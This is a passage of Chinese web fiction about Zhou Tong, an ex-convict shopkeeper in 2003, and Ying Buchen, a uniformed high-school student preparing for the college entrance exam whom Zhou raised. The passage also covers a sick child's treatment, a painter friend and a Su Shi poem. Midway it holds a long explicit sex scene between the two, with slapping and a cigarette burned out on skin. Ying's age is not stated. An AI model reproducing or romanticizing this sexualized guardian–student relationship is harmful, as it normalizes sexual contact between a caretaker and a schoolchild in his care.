“那倒没哭。”周瞳说,“但是他打自己脑袋,好几回了,我看见他读那个洋文不知道怎么的就打自己嘴巴子,我都不敢吱声,当没看见,他见着我还装呢,笑嘻嘻的。”
“你给风筝送钱这事儿呢?”小眼镜问,“那你这钱通通往外掏,上回小尘还给我塞钱了,我没拿。”
“要不说他心思重,”周瞳说,“他给我买房子车子就算了,给我存了一笔钱我全造游戏厅里了,剩下的都是他掏的,法子也是他想的,他家老房子传家宝都掏完了,风筝那会儿过年他抱着钱来的,叫我必须得治,治完了她妈不要领回来养,我都是他收留的。”
“那你说的,咱两不也是混着你的饭吃。”小眼镜囔着嘴,“到头来还得弟管我们,风子都得气得上我床头拉尿。”
“还是多看着点吧,这也太不容易了,”娘娘腔说,“你干啥去啊。”
周瞳起来洗了把脸,说,“我接他去呗,我往他那一杵,啥都不干他就不心慌了。”
*
“你哥来了。”应不尘的同桌戳戳他。
应不尘抬头看了一眼,看了看时间,给周瞳发短信:「怎么这么早来了?」
周瞳看了一眼,叼着烟回,「藏人了?」
应不尘笑了一下,回,「被你发现了。」
周瞳给他回:「好好自习」
应不尘回:「还要好久,要不我溜了吧。」
周瞳眯着眼回,「你要这样我下次可不来早了。」
应不尘回:「好吧,可是你要等好久。」
周瞳说:「老子愿意」
周瞳咬着笔帽在车里算钱,得留出钱来应付这里的开销,但是风筝那头得存上一笔,万一有点啥事得拿得出来,这钱一分钱掰成八瓣都禁不住花,不禁愁得挠头,人这一辈子咋要经历两回上有老下有小,一堆人跟着吃饭的事儿。
周瞳算完账,看着窗户口应不尘的影子,忽然地就没那么焦躁了。
风子当时说的对,周瞳对应不尘有无尽的耐心,一想到他就觉得啥都有指望,心都能软成一瘫。
周瞳看着手表,离下课还有几分钟应不尘已经在收拾书包了。
铃声一打,就已经看见窗口那小人都飞也似的下来了。
周瞳慢慢悠悠地打开车门,就看见应不尘朝他跑来。
他穿着白色的校服,头发因跑动而扬起,他又瘦又白,看起来书包都比他还重。
“慢点儿,急啥。”周瞳接住了人给他开车门。
“怕你等。”应不尘把书包一搁,说,“这个破东西真想给他拆了。”
“车还能不长中控跟储物箱啊?”周瞳问。
“耽误我跟你黏在一起。”应不尘说。
“你这人,”周瞳说,“也不知道害臊,就这一会儿也不能好好坐着吗?”
周瞳点了火搓着方向盘回家,今天他还理发了,头发太长了。
前面的刘海儿还是留了,耳朵的鬓发这块稍稍修了,后面一小搓扎了起来。
“剪头发啦?”应不尘问。
“剪坏了?”周瞳问。
“没,”应不尘说,“你明天是不是要走?”
“嗯,”周瞳看着前面,说,“明晚上我得看孩子去。”
“你给她买东西了吗?”应不尘说,“给老板娘孩子也买点儿。”
“呀,得亏你跟我说,差不点儿我就忘了。”周瞳说,“我明早上就买。”
“屁,”应不尘说,“你都买完了,在这忽悠我呢。”
“嘿,”周瞳笑起来,“你现在怎么这么精?”
“瞳哥,”应不尘也不是正襟危坐的了,他现在越来越累,搞得眼下都长了一点儿淡淡的黑眼圈。“这学习太压抑了。”
“那你得自我调节是不是,”周瞳说,“我说你这人心思太重,别那么大压力,我是指望你考好,但是你考啥样我都不在乎,你真的你别太把这个事当个事,你就放松放松。”
“嗯...”应不尘蜷在副驾上,说,“压力就很大,压力大要释放,要调解。”
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“那你想咋释放?”周瞳说,“你指条路,我想想招。”
“这些不是你们做家长的该想的事儿吗?”应不尘闷着额头说,“人家家长那都,是吧,想办法给释放压力,喜欢啥就给啥,这一段孩子比天还大。”
“我不知道你喜欢啥啊,你就俩事儿,挣钱跟读书,那挣钱现在不是也轮不上你这宝贵的时间去干吗?”周瞳说,“别的人家孩子,打游戏机,上网,抽烟这些的,你也没兴趣啊。”
“你再好好想想,我还喜欢什么。”应不尘说。
“...”周瞳皱眉说,“不好吧。”
“啥不好?”应不尘笑着去看他。
周瞳看了他一眼,又皱眉,又一手胡乱地去翻烟,又叹了口气,又来了一句,“不好吧?”
“啥不好呀?”应不尘说,“你倒是说呀。”
“哎呀这个不好吧。”周瞳都快开到家门口了。
“你说呀,你在想啥?”应不尘拽着他袖子。
二人一起往上走,到了家了,周瞳无奈的看着他,瘪瘪嘴,说,“我有点怕疼。”
“你说啥呐,”应不尘说,“啥表情。”
“你那话里话外的,”周瞳老脸一红,说,“算了,你说想怎么样就怎么样吧,你你你高兴就行。”
应不尘撞了他一把,二人一起刷牙,说,“啥意思啊瞳哥,忍了我以下犯上了?”
“那我有招吗?”周瞳说,“你那眼珠子一转,我都知道你要干什么。”
“多误会了,”应不尘说,“我是那种人吗?”
“我可没误会。”周瞳白了他一眼,刷完了在漱口。
“真误会了,我不敢。”应不尘低头漱口,说,“但是你要是坚持,我还是愿意为你效劳的。”
“我谢谢你啊。”周瞳光着身子披了件睡袍,前面的系带松松的,感觉随时都等着人去扯。
“瞳哥,”应不尘的手指掠过他的胸膛,踩在周瞳脚上,他垂着眸子说,“我可以要你吗?”
周瞳真是眼前一黑又一黑,倒反天罡了真是,他这辈子都没想过被人压在下面,更别说是自己的养的这个东西,就这么点个子,浑身就没多少力气,看着就是个乖乖学生,要啥呀要,要得明白吗你,真服了。
“我觉得不太合适,但是你...你这个...”周瞳把他一把抱起来捞在腰上,端着屁股说,“你...”
“我真的压力好大老公,”应不尘紧紧抱着他脖颈说,“老公,好不好。”
要草而已啊,要就给呗,也不能死咋的。
“唉...你,”周瞳抱着他,他在自己的小腹上蹭,周瞳说,“你...哎我真服了。随便你随便你,我真服了。”
“我可跟你说你轻点儿,你弄太痛了我打死你信不信。”周瞳趴在床上还拿了本书,不然他也不知道趴这儿干啥。
他平常自己干这事儿也不怜惜人,抄上手有啥用啥,就喜欢他低声的啜泣,就喜欢他求饶的颤抖,但是应不尘好像从来也没觉得那些污耳的话语轻贱的命令跟无礼的冒犯有什么,周瞳见过他的眼睛,他的乐在其中使得他变本加厉。
周瞳感觉有温热的润液在摩擦,但是瞬间的羞耻感跟紧张感还是直冲云霄,他不禁拽紧了床单。
接着就是滚烫的耳鬓厮磨,他在耳边说,“哥,你好香啊。”
“我香个蛋啊,你...嗯...”周瞳话还没骂完,涨热的触感让他将脸死死捂在床单上,他还在浑水里不断搅动,痛痛痛痛痛,要死了真的。
这触感的羞耻胜过疼痛,“哥,你好紧啊。”
“我求你了你别说话了成吗?”周瞳的脸红成个烂柿子,痛得都要岔气了,对方却浑然不觉,还在继续,“哥,你嘴这么硬,怎么这儿这么软?”
“我...”耳鸣声扯着周瞳的心跳,他的舌尖点在自己的脖颈,感觉他手指的搅动,他欣赏着自己的手指,说,“哥,你要尝尝你自己的味道吗?”
“你别太过了应不尘...”周瞳咬牙切齿的说,“你他妈要弄就赶紧。”
应不尘一吻到底,无辜地说,“我又不会。”
“嘶...”周瞳整个把人扯过来,把他压在身下问,“你跟我俩闹呢?”
应不尘看着他的眼睛,说,“哥,你是不是想继续呀?你求我的话我也能试试。”
“我去你吗的,我就应该让你的逼嘴闭上。”周瞳强硬着刺入软云,“我干不了那活儿,狗崽子。”
应不尘闷声地哼,抬头对上水涔涔的眼睛,“你凶巴巴的样子好看。”
“我好看是吧。”周瞳把人按下去又掰着他的脖子折叠到要把骨头都掰碎了程度,“这儿更好看呢。”
“我想攒起来,放玻璃瓶子里,”应不尘喘息着,“但是你每次都弄在我脸上。”
“我弄你脸上怎么了,”周瞳舔舐着他的耳垂,说,“攒你肚子里不行吗?”
周瞳仰着脖子,信手点了根烟,拍了他一巴掌,说,“给我痛懵了还要我自己动?”
慢悠悠的。
“我没给你吃饭啊?”又是一巴掌。
“哥,一般来说,让动物劳动的话,得让他们感觉到痛。”
周瞳搓着烟头,剩下零星的火花,刺啦一声捻灭在他翘起的肌肤上。
极致的挛缩跟坍塌,山海一点儿也不远。
72.我没想你
折腾了半夜,第二天周瞳闹钟醒了这小崽子还在睡。
周瞳给他涂了点药,“不涂,就让它坏。”应不尘去闭着眼睛不要,黏着周瞳。
“你坐下都疼我跟你说。”周瞳说,“你咋这么变态呢。”
“你养的,我不知道。”应不尘说,“不涂。”
“起来,宝贝儿,要去上学了,”周瞳给他捞起来,给他套衣服套裤子,蹲在地上给他穿袜子,应不尘眼睛就没睁开过。
周瞳下去买了早餐,外面没前一段冷了,前一段穿着棉袄买个早饭都能冻得人发抖,春天一来就好了。
上楼狗崽子还在睡觉。
拿热毛巾给他擦脸还是不醒,又掰着他嘴给他刷牙,小时候的一口烂牙现在倒是长好了。
这一套火急火燎的下来,他又倒在床上翻个身就睡了。
周瞳给他端起来抱在怀里,嘴里叼着早餐单手锁门。
周瞳把他放进车里,又把早饭塞进他手里。
刚刚就点着火了,这会儿都暖和了,省的他进车里冷。
毕竟养过孩子,孩子不就是矫情么。
车一往外开,有点颠簸他就醒了。
“书包,保温杯,”周瞳说,“你桌子上的试卷我都给你收了,就在包里,手机也给你冲电了,你吃口热的。”
应不尘把帽子扯下来遮住了眼睛,闷闷地说,“不想上学。”
“这事儿我没办法呀。”周瞳喝了口豆浆,说,“醒醒了宝贝,一会儿迟到了。”
“我不想去,我想跟你去看风筝。”应不尘遮着眼睛,抱着胸,一副不高兴的样子。
“别作啊,”周瞳说,“等回来,我一天就回来了是不是。那老板娘咱也不能当自己娘使唤啊。”
“我知道,但是我见不到你还是不高兴。”应不尘说。
“瞅你那嘴撅的,都能挂个尿壶了。”周瞳摸摸他的狗毛,说,“听话,我明天就来接你,好不好?”
应不尘看着学校到了,亲了周瞳一下,又开始一路三回头。
每回都这样。
周瞳下车看着他,拎的包子都吃完了,上了车就往高速上去,他看着自己手上的地址,要是要赶在明天他晚自习之前回来,估计就得没歇地跑了。
周瞳揉了揉脑袋醒醒神,独自就往省城去。
高速真是太容易犯困,昨晚上折腾到半夜,这狗崽子还哼哼唧唧的个没完,一会儿说要给他念试卷,一会儿要放英语听力,谁他妈干那事儿还听英语听力啊,真他妈读书读疯了。
小眼镜拉回来的货次品有点多,而且跟他的样品还有点区别,周瞳得先把这事儿去办了。
老板娘也想自己家的姑娘,虽然她嘴上不说,料理孩子她总是一把好手的。
周瞳弄完一圈来到医院。
“瞳叔!”小风筝看见了周瞳拎着一大堆玩具,马上就笑了。
但是周瞳看见了...小风筝的妈。
“瞳哥。”她搓搓手,打了声招呼。
周瞳四周看了看,“老板娘我让她回去了。”风筝妈说道。
“你脸咋回事儿?”周瞳把东西放下,说,“怎么瘦这么多?”
“没事儿。”风筝的妈妈揉了揉脸,看着一脸的憔悴。
“小风筝,最近咋样啊?”周瞳揉揉她的头发。
小风筝在床上拆玩具,心思都在玩具上,就看着周瞳傻乐。
“这小妞。”周瞳拍了拍跟欲言又止的风筝的母亲说,“出去说呗。”
医院楼梯墙角,有不爱卫生的人在这儿撒尿,弥漫着一股尿骚味。
周瞳点了一根烟,插着兜,看着窗外,说,“这些年,我对不住你。”
风筝的母亲叫小嘉,是从前纺织厂里的一个女工,风子总是给她拉布匹,一来二去的就认识了。
小嘉擦了一把眼泪,说,“都过去了。”
“孩子...我们几个治,你别担心,小眼镜他们都一块儿。”周瞳说。
“就是头几天天天跟我说要找妈。”周瞳低着头,手上的烟雾弥漫,“我还是想你多来看看她的,你娘家的意思我也听着了,你今年也没过二十五,年纪还小了,以后...日子还长了。”
女人拖着孩子,哪怕再嫁一头,日子也不好过。
“我们都是几个老爷们,唯一的女兄弟就是老板娘了,可是老板娘也有心头肉,找别人我们还不放心。”周瞳低头说,“要是你钱方面有些为难的,我雇你看她行吗?”
小嘉抿着唇,擦眼泪,说,“她是我姑娘。”
“我其实很谢谢你,”周瞳说,“风子没了,我起码还有他姑娘能补偿,不然我一拳打出去就像在棉花上。”
那会儿的事故按工伤来算,也达不到那个价格,小嘉的遗腹子就是最大的说法,要是钱拿了,孩子也拿了,周瞳也没有丝毫的办法。
周瞳拍拍小嘉的肩膀,说,“咱都好好的,都会过去的。”
因着风筝的母亲来了,周瞳呼出了一口气,孩子他也不敢抱,治疗的事儿听了一屁股,都没明白他们到底在说啥。
周瞳只觉得这白大褂让他眼前都发黑。
周瞳低头搓着手指,觉得应不尘在这就好了。
但是得益于小嘉来了,周瞳在省城下午就又能去进货了,珊珊给他发了一些时尚杂志上的东西,花里胡哨的链子,珠子一个个串起来的,周瞳觉得这有啥好看的呀,珊珊说她的妹妹还编链子呢,周瞳又进了一些,还有这骗人抽奖的,这太坑了,都是些破烂。
一楼是箱包。
二楼是配饰。
三楼是玩具。
四楼是化妆品。
等周瞳拉着板车跑上跑下的把手里的单子都换了货了,嘴皮子都要瓢了,要进的才都齐活了。
他才匆匆吃上一口饭,在车里周瞳看见了应不尘的短信。
第一条:「好好吃饭。」
第二天:「下雨了吗?」
第三条:「风筝好吗?」
第四条:「开车小心。」
第五条:「你别太累。」
周瞳给他回复,「想我就直说。」
等剩饭丢进垃圾桶的时候,他看见了应不尘回复的,「我可没想。」
周瞳给他回,「巧了,我也没想。」
周瞳看了看手表,现在上路的话还能在晚自习之前赶到新春。
周瞳困得要死,拿冷水洗了一把脸,就往新春出发。
骚骨头看了一眼后视镜,捋了一把头发,觉得自己还是年轻,这么跑还能吃得消,差个十年八年的有啥呀。
周瞳又往高速上奔,日头落得太早了,这会儿天边就剩下一层芒色的光,出了市区两侧就只剩下山坳,这地儿就是从山里面开出来的。
冬日白色的纱裙,春日的金色围帽,山崖总是沉默地被装扮,落日染红周瞳的车窗,后视镜里呼啸的归去的风景,周瞳有点后悔那会儿没有跟应不尘好好的看完那个电影。
*
周瞳在9点15分的时候到达了新春的收费站,9点半应不尘就会下课。
周瞳把车开进了学校对面的小网吧的楼下,自己跟保安打了招呼。
“我过来给孩子送东西。”周瞳说。
保安都已经认识他了,上次扎了手那个,而且他天天都来,巡逻都能看见,接一个小男孩儿走。
周瞳笑嘻嘻的进了学校,就等到了他们下课的铃声。
周瞳站在应不尘的教室门口,看着他朝着那个窗户发了会儿呆,接着又拿出手机发了个信息。同学们都走了,跟他打招呼,他又抱着书包,往教室的前门走了。
周瞳跟在他身后,看着别的同学都路过食堂,吃烤肠,吃茶叶蛋,吃夜宵,应不尘径直低头走。
学校不允许学生带手机,周瞳看见应不尘拐进了操场边的废弃教室。
周瞳跟了过去。
手机的光印着应不尘的脸,他还没关上门就拨通了电话。
手机在周瞳的兜里震动,他在窗边偷窥应不尘失望的表情。
他手撑在桌子上,倚着桌子,在月光下瘦得像一根能折断的芍药。
他呆呆地看了一会儿手机,又拨通了号码。
周瞳抿着嘴,看他似乎是有些委屈了。
手机还在震动,周瞳轻声推门,就从后一把抱住了应不尘,下巴摩挲在他的肩膀上,转到前面问,“想我呢?”
“我没想。”他坐在桌子上,惊喜的眼神藏起来了,脚有点儿着不了地。
震动的手机在周瞳的裤兜里,此刻抵在应不尘的小腹。
应不尘圈着他。
“没想吗?”
“没想。”应不尘别过头去,不让亲。
手机小小的一只,震动继续。
周瞳用膝盖夹紧了他的腿,任由震动的手机酥麻着,捏着他下巴说,“那太可惜了,恐怕是别人想我了,是不是想的有点儿厉害?”
窗外有同学经过,应不尘浅浅地跟他接了个吻,甜甜地说,“回家。”
“你又没想我,我带你回什么家?”周瞳问。
“那我可回宿舍了。”应不尘亲了他一口说。
“回呗。”周瞳说,“我就是来看你回宿舍的。”
应不尘推了一下他的胸,那力气都不够拎一只猫的,说,“你怎么今天还赶回来了,你累不累啊?”
“我累死累活的赶回来有什么用呢?”周瞳说,“今天跑得感觉腿都跟假肢似的了,也等不来一句想听的话啊。”
“你想听什么?”应不尘伏在他胸前,脑袋蹭着他下巴。
“你最好快点儿,你学校还有三分钟锁门。”周瞳看了一眼表,说,“不然晚上就让你住宿舍了。”
应不尘就抱着他,光看着,也不说话,傻乐。
“还有
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一分钟了。”周瞳掐着他的下巴说,“你最好快点儿。”
应不尘贴着他的耳朵边温温软软地说,“我想和你做...”
周瞳的后背都热了,一把捂住他的嘴,磨牙低声说,“有病啊,这是学校,你疯了。”
短暂的沉默。
“我又没拿那什么...”周瞳说,“啥也没有呢...”
“面吃。”应不尘说。
“....”周瞳拍着他的脑门,说,“今晚上住宿舍吧你。”
*
“别给我按啦,你要不读书去,要不你睡觉去。”周瞳趴在床上,他有算不完的账本,一算就开始挠脑袋。
“我给你算呗。”应不尘黏在他边上。
“用不着,汪奶都好好教了。”周瞳仰过来,说,“我真想你汪奶。”
“从前那大车的账我总算不明白,我就把她拽过去,一把年纪,跟我们那一堆混小子混在一起,还给她吃盒饭。”说完周瞳就笑了。
“汪奶又不在乎那个。”应不尘按着周瞳的脚说。
“可不么,老师就是威严,汪奶一来就能治那帮小鬼,公司里那会儿摩擦多,汪奶说要开源节流,说我开源做的不错,但是节流太差了,那会儿呢,我公司下面有个钢棚,放了几张高低床,然后来那些过路的司机就住嘛,但是他们不少都爷惯了,通宵打牌,浪费水电,天冷了不愿意去厕所那头尿尿,就弄门口。”周瞳笑说,“我那会儿呢自己也跑那个,知道那玩意儿太累,所以也不怪他们,后来他们看我好说话,连外面的女人都带回来,轮流锁门干那事儿,我说这东西咋搞,生意又忙不过来,得仰仗他们,我踩不下去后脚,我的前脚不敢拔出来。”
“你汪奶呢就看出来了。”周瞳说,“你知道你汪奶干啥了嘛?”
“干啥啦?”应不尘问。
“她就干了两件事,一件,晚上十二点拉电闸,一件,把钢板房的门叫我换成那种大沙袋的布门,锁不了那种。”周瞳说,“当时他们就不乐意了,来找我说,我为难呀,你汪奶一拍桌子,说,能干干,不干滚。”
“我就问汪奶,我生意咋弄,她说这只是门槛,门槛高了,就可筛选人,别寒那些守规矩的人的心,”周瞳说,“一拉电闸他们想玩也玩不了,门口再尿尿,风一吹,全是味儿,他们就往远尿了。锁不了门,那事儿也不能办了,谁都能进去,也因为这个,他们都把贵重东西揣身上,也没啥丢东西的了,后来不踏实的那帮子也走了,消停了。”
“我是那个理发店欺负过我的,我当了上面的我也被自己拴着,不愿意为难谁,太好说话了总是要被吞下去,从前我总觉得有钱了,我就好好孝顺汪奶,结果她根本等不着,怎么弄呢,等不着。”
周瞳瞧着台灯,摸着应不尘的狗毛,说,“不知道为啥世界上那么多事情,总是在你没办法的时候遇上最好的,总是没有了才会想明白,我有点儿想你汪奶。”
“你汪奶那会儿老招笑了,她跟我说,她说她吃盒饭,咋吃着个石头,结果一看,牙掉了。”周瞳笑说,“我给她牙扔在咱那个广告牌子上,但是风子说下牙得扔床底下,那我跟风子就打起来了,就开庄,他们都压风子赢,你最后猜猜谁赢了?”
“你那么奸,肯定偷偷跟风子叔说,输给你然后对半分钱。”应不尘说。
“我可能是你说的那种人,但是你风子叔能成?”周瞳点着他脑壳说,“他那么板正。”
“那你们咋弄啦?”应不尘凑上来问。
周瞳嘿嘿一笑,“我也压了风子赢,然后他们一股脑的都压了,我偷偷让汪奶压我,然后我跟风子就打起来了,我都要被撂得出那个圈了,就是那种比谁力气大,推出去那种,我都要被推出去了,”周瞳做起来做手势,“我感觉他要扑我,都给我抱起来了,我哪打得过他,我就亲了风子一口,小嘉就捂着脸在后面叫,那风子啥也不管他就跑了。”
“你咋那么损呢,”应不尘说,“我风子叔那脸不得成猪肝啊。”
“可不是,那好几天都躲着我走。”周瞳笑得仰在床上,“压钱的那帮子不服了呀,说我使奸计,你汪奶那么严肃的老太太,当时说啥,说这是美人计,那帮小子说美人计是美人才能使,你汪奶说男人要是使美人计,比美人计还计,说那三国里面,关羽要是亲曹操一口,三国都得重写。我就知道这文化人胡诌起来比没文化的还吓人,哈哈。”
“汪奶咋这样,她跟我讲的三国和跟你讲的三国不是同一本。”应不尘说,“她给我讲的都可严肃了。”
“那你那会儿小孩儿是不是,”周瞳抱着他,哄着,“明天还上课呢,咱好好睡觉了。”
“瞳哥,你抱紧一点儿。”应不尘说。
“我这还不紧吗?”周瞳轻轻拍着他,“听话,睡觉了。”
“瞳..”
“闭嘴。”
“好勒。”
“真乖。”
73.穿林打叶
2003年四月的新春终于开始暖和了,一新桥的精品店生意比他们几个预计的更好一点儿,小县城的购买力也不容低估,虽然时常都有盘货与账单不符的,这个时代有些手脚不干净的,那也没办法,实在不好抓,都是些稀碎的东西。
佟老师是周瞳见过最老实的人,他到现在连颜料都没说过要自己去买,生意都是周瞳去谈,有时候要住在村里,就那种漏风的柴房里支床就睡了,睡醒就接着爬上脚手架。
“佟老师,”周瞳给他扶着梯子,说,“以后我不给您算工资了呗。”
佟老师带着厚厚的眼镜,问,“我是不是画的不好?”
“不是啊,”周瞳仰着头说,“我给你弄一个办公室,你就专门接这些东西,然后生意我去谈,你拿七成,我吃三成。”
“我,我我我,”佟老师说,“我不会,我在学校的课时费低,能有活儿干就行,我,我就画画挺好的。”
周瞳叼着烟,说,“我前一段是没钱,我跟尘在外面养着个病娃娃,有点钱都送过去了,又要开别的店,挪不出来钱给你,现在好一点儿了,你该拿就拿呗。”
佟老师从脚手架上下来,说,“你没缺我的钱。”
“没缺没缺呗,关我啥事,你这太苦了,住的都是啥地方,你从来也不找我的事儿,”周瞳说,“都小活你就都一个人干了,真的,我都知道。”
佟老师笑起来,“天天忙挺好的。”
“我给你弄个账户,完了人家钱打你那,咱就分,”周瞳踩灭了烟头,说,“你冬天那个手冻成那样,也不耽误活儿,我听尘说你有一回都摔下来了,尾巴骨挫了一下,这要是换别人不得讹我吗,你都不吱声,就按我说的办。”
佟老师不好意思,想跟周瞳握手,手上都是颜料,又收回去了,咧着嘴笑,说,“行。”
“寒暑假那个画室还得弄啊。”周瞳说,“就怕你忙不过来,撂挑子我就完了。”
佟老师说,“人家美术老师,都,都没人在乎。”
“咋会呢。”周瞳说,“新春迟早都会在学校里开艺术特长班,这事儿有钱的家长都在心思,你以后只会越来越吃香。”
周瞳拎着个热水壶,二人蹲在墙角倒茶喝,桌子一拉开,就两条折叠椅,一把阳伞就成。
“我觉得我命挺好的。”佟老师喝了一口茶,说,“我毕业的学校也不咋好,本来给我分配到小学的美术课去的,但是正好这儿缺了,我就补上了,没多久就碰到尘儿了...只是,我现在在学校都不知道叫他老板还是啥。”
“咋了,有人说你给学生干活儿?”周瞳仰着头问。
“嗯,”佟老师不好意思地说,“还是有点难为情。”
佟老师看着前面有人在河边洗碗,说,蹲在地上搓自己的手指,“一个老师还要学生帮衬的,挺没出息的,他们讲的不好听,乱七八糟的,说的人心里乱。”
“那你想过不给咱干活吗?”周瞳问。
“没,”佟老师说,“我缺钱嘛,而且你们对我挺好的。”
周瞳不知道这事儿要怎么说,他刚从号子里出来的时候,他也茫然,也无望,到了新春之后劳改这个印记就刻在他的脸上,像古代的恶毒的刑罚,那会儿他也觉得自己是个懦夫。
那会儿应不尘想跟他谈恋爱的时候,他说应不尘太小了,没长大,去长大了再说吧。应不尘说,长大就是一瞬间的事情,他可以去委屈,去吃苦,去淋雨,去摔倒,再爬起来。
周瞳看着佟老师,不知道要说啥,之前应不尘晚上做试卷让周瞳跟着一起看,周瞳喜欢听他讲。
他前段讲过一首,叫《定风波》①
那天晚上,周瞳看完这首诗,说,“这意思是,他淋雨了,但是他觉得没啥,就写了一首诗?他少淋雨,你都能少背一首了!真能给后头的人找事呢。”
“那你还不如让李白少喝酒。”应不尘说着,拿着试卷挨在周瞳的边上,说,“这首呢,这个作者很厉害,你吃的东坡肉就是他的名字,东坡先生。他写这首诗的时候便贬了,去鸟不拉屎的地方,那会儿当官可别提这茬,晦气的要死。”
“能比我还晦气吗?”周瞳问。
“差不多吧。”应不尘指着诗说,“这句,莫听穿林打叶声,何妨吟啸且徐行。他意思呢,雨下的贼老大,但是他还慢慢悠悠的瞎溜达。”
“他打伞呗。”周瞳说,“傻么,就淋雨。”
“你先别管他打不打伞,你看这句,他说竹杖芒鞋胜轻马,谁怕?一蓑烟雨任平生。这句的意思是,人生的风风雨雨,对他来说就是溜达玩,他什么都不怕。”
“那还挺狂。”周瞳说。
“差不多,但是更狂的在后面,你看这句,料峭春风吹酒醒,微冷,山头斜照却相迎。他意思呢,就是这个太阳有点上杆子来了,舔他呢。”
“他咋那么自恋呢。”周瞳说。
“那你以为他要说跟咱听的那个歌一样,啥阳光总在风雨后么,人家就说,回首向来萧瑟处,归去,也无风雨也无晴。他的意思就是,哪怕是好的坏的,都无所谓,不需要阳光在风雨后,风雨后还是风雨也随便,换成你的话说,就是爱咋咋的。”
“啊。”周瞳看了两回这首诗,说,“那这个人还挺牛逼。”
“何止挺牛逼。”应不尘说,“别太牛逼,他有很多诗词,以后慢慢讲给你听。”
应不尘抬头起来,说,“他有个弟弟,一辈子都坏他身上了,他哥缺心眼儿,老惹事儿,他弟弟这辈子就管他了,他弟当大官忙得急头白脸的,他哥吃偷摸吃红烧肉呢。”
“你可别是在那胡诌。”周瞳说,“能写这玩意儿还能缺心眼?”
“我回头给你买书呗,他俩兄弟可有意思了。”应不尘说,“瞳哥,莫听穿林打叶声,何妨吟啸且徐行。”
“我打伞呢。”周瞳翻过去书,说,“我有你。”
佟老师说了什么,他也听不清。
“瞳子!”小眼镜在前面喊,娘娘腔在副驾驶画口红。
小眼镜跑过来了,说,“佟老师,你上回给我画的画像,他非要跟来!”小眼镜指着娘娘腔说,“他非得叫你也给他画,我说你忙,他现在就要来!这种人,根本就不会看形势!就会找事情!”
“给我画咋啦!佟老师,你咋就给他画,不给我画啊?”娘娘腔登着个高跟鞋,一甩头发,说,“我不比他好看啊?”
“你俩给钱了吗,就让佟老师画啊画的,”周瞳说,“他妈的。一个个不去开店,就在这里胡闹,咋的,我风筝没给你们施加压力是吧?”
“风筝好着呢,”娘娘腔掸着自己的豹纹外套,说,“化疗都他妈的不哭,草,比咱还横呢。”
“咋,你还等着她哭呗?”周瞳问。
“等她长大了,每年不给咱来磕头我站她家窗户上去。”娘娘腔说。
“以后叫
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风筝学画画,”小眼镜说,“叫佟老师教,文文静静的,多好,跟他妈你个死娘娘腔远一点,天天画眉毛,恶心不恶心。”
“四眼狗,人家佟老师跟你一样戴眼镜,你看看人家说话,轻声细语的,从来也不着急,你干啥呢?你干啥呢?天天让疯狗咬了似的。”
“我让疯狗咬了?我让你咬了,从前开车的时候你就这样,我们都省钱就你,就你,开个车你还打扮,我最烦就是等你,上个厕所,你还选起来了,上哪不是上,你拉屎香啊?”
“那我跟你一样,糙得一个礼拜都不要洗澡就行了?那头发都打绺成一条一条的就好了!你好像让牛舔了!”
“我那会儿都忙成啥样了!”
“忙是啥借口了?你看人家佟老师,他没干活吗?他比你还忙,人家不是也收拾得干干净净的?就住这里人家的卫生习惯还是好!”
“那人家是老师,老师你晓得啥意思不!人家就是要这样的!那我要是这样我也去当老师好了!”
“就你?就你?就你还当老师,你当得明白吗?首先一点,尊重,尊重你都做不到!”
“我尊重你啊?我尊重你这个娘娘腔啊?哈哈,你真有意思,尊重,那只给值得尊重的人!你知道尊重两个字咋写啊?你他妈你尊重过我啊?我要给你脸呢!”
“我是不会写,那你会写啊!”
“他俩咋又吵起来了。”佟老师说。
佟老师也已经习惯了,他俩都会开车,挨着趟的得给佟老师送东西,一来二去的,也就熟悉了。
“习惯习惯。”周瞳说,“都好人。”
他们吵着要佟老师写尊重两个字,佟老师被架着走了,在白墙上写下「尊重」,写完的时候,他看了周瞳一眼,拿白漆覆盖了。
他提着覆盖的滚轮碾压着尊重这两个字的时候,周瞳忽然觉得,好像人生的某一课,总是在猝不及防的时候就上完了。
***
“佟老师这么难受吗?”应不尘刚进屋,手还是有点儿冷,这娃娃的手指关节都看着有点儿变形了。
“啊,我就想你给我讲的那首诗了。”周瞳接过他的书包,给他倒热水。
“啥诗?我给你讲的可老多,”应不尘圈着他,“想得哪句?”
“啊?”周瞳说,“我想完他的事儿就想吃红烧肉来着。”
应不尘说,“红烧肉也要紧,好吃吗?”
“锅里还有呢,我吃了一块觉得好吃,我就拎回来跟你一起吃了。”周瞳点火,插着个兜慢慢翻热,忽然想起来,说,“应不尘,有一回,前年过年吧,就是我跑出去了,你来宜华逮我,完了在门口冻了一晚上那次,你记得不?”
“那次咋了。”应不尘穿了睡衣,在翻书包里的材料。
“我跟你说,你但凡你弄的东西稍微好吃一点,你就那一秒,那食物是吧,能给人温暖了是不是,你都不至于在那冻一晚上,我本来都饿了,你弄得热腾腾的东西是吧,我一吃,唉,那电视里咋演的,吃上一口我就流眼泪,你就进来一抱一哄的,哪有你后头那么多事儿呢?我那一吃,妈的,我都觉得完了,不但我完了,这世界也完蛋了,就这事儿我都不能跟你好,这他妈的知道的是肉丝,不知道还以为拿皮带切的呢,你那粉丝,弄得跟清洁球似的,我吃得舌头都出汗了,啊,我说半天了,你咋不说话呢?”周瞳笑嘻嘻的转过去看,就看见个跟鬼一样没好气儿的应不尘站在后面。
74.吵架吵架
“逗你玩呢,”周瞳抿紧了嘴巴,说,“错了。”
“哎呀,真错了。”周瞳圈着他,“我瞎说呢。”
“我高考之后再去学。”应不尘说,“肯定是那些锅啥的有毛病,我有什么不能做好的?我连你都追的到,不可能是我的问题。”
“...倒也...”周瞳猛然闭上嘴巴,说,“嗯?”
应不尘一脸你啥意思的表情。
“啊?”周瞳说,“咱,咱...啊?”
“你做饭也好不到那里去,我小时候都给我难吃哭了。”应不尘说,“光说我干啥,那回,你弄得什么东西一碗我都看不出来,我又饿,你的东西又难吃,我就端着碗哭了,然后你干啥了你知道不?”
“我干啥啦,我能干啥?”周瞳说,“我做饭难吃我认了啊。”
“你拿我眼泪洗我脚后跟。”应不尘说,“咋有你这么损的人。”
“我咋不知道。”周瞳说。
“你叫我哭厉害点,你的脚后跟也可以洗了。”应不尘说。
“那我洗了吗?”周瞳问。
“洗没洗的要紧吗?我说的是,我做饭难吃就是你带歪了,不然我好好的,我这么聪明,我干啥都能行,我咋就做不好饭,你最好心思心思你自己,”应不尘戳着他说,“还好意思说我,你哪来的脸?”
